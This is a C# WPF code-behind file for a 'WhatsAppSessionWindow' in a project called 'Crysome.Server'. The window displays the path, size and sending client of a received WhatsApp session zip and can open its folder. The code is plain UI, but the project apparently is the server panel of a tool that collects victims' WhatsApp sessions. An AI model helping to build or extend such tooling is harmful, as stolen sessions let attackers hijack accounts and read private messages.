Files
2026-08-27 11:22:54 -06:00

104 lines
2.4 KiB
C#

using System;
using System.CodeDom.Compiler;
using System.ComponentModel;
using System.Diagnostics;
using System.IO;
using System.Windows;
using System.Windows.Controls;
using System.Windows.Markup;
namespace Crysome.Server.View;
public class WhatsAppSessionWindow : Window, IComponentConnector
{
private readonly string _zipPath;
internal TextBlock SubtitleText;
internal TextBlock ClientLabel;
internal TextBlock SizeLabel;
internal TextBlock PathLabel;
internal Button OpenFolderBtn;
private bool _contentLoaded;
public WhatsAppSessionWindow(string zipPath, string clientName, long sizeBytes)
{
InitializeComponent();
_zipPath = zipPath;
SubtitleText.Text = "From " + clientName;
ClientLabel.Text = clientName;
SizeLabel.Text = $"{(double)sizeBytes / 1024.0 / 1024.0:F2} MB ({sizeBytes:N0} bytes)";
PathLabel.Text = zipPath;
PathLabel.ToolTip = zipPath;
}
private void OpenFolderBtn_Click(object sender, RoutedEventArgs e)
{
try
{
string directoryName = Path.GetDirectoryName(_zipPath);
if (Directory.Exists(directoryName))
{
Process.Start("explorer.exe", directoryName);
}
}
catch (Exception ex)
{
MessageBox.Show("Cannot open folder: " + ex.Message);
}
}
private void CloseBtn_Click(object sender, RoutedEventArgs e)
{
Close();
}
[DebuggerNonUserCode]
[GeneratedCode("PresentationBuildTasks", "9.0.14.0")]
public void InitializeComponent()
{
if (!_contentLoaded)
{
_contentLoaded = true;
Uri resourceLocator = new Uri("/Crysome.Server;component/view/whatsappsessionwindow.xaml", UriKind.Relative);
Application.LoadComponent(this, resourceLocator);
}
}
[DebuggerNonUserCode]
[GeneratedCode("PresentationBuildTasks", "9.0.14.0")]
[EditorBrowsable(EditorBrowsableState.Never)]
void IComponentConnector.Connect(int connectionId, object target)
{
switch (connectionId)
{
case 1:
SubtitleText = (TextBlock)target;
break;
case 2:
ClientLabel = (TextBlock)target;
break;
case 3:
SizeLabel = (TextBlock)target;
break;
case 4:
PathLabel = (TextBlock)target;
break;
case 5:
OpenFolderBtn = (Button)target;
OpenFolderBtn.Click += OpenFolderBtn_Click;
break;
case 6:
((Button)target).Click += CloseBtn_Click;
break;
default:
_contentLoaded = true;
break;
}
}
}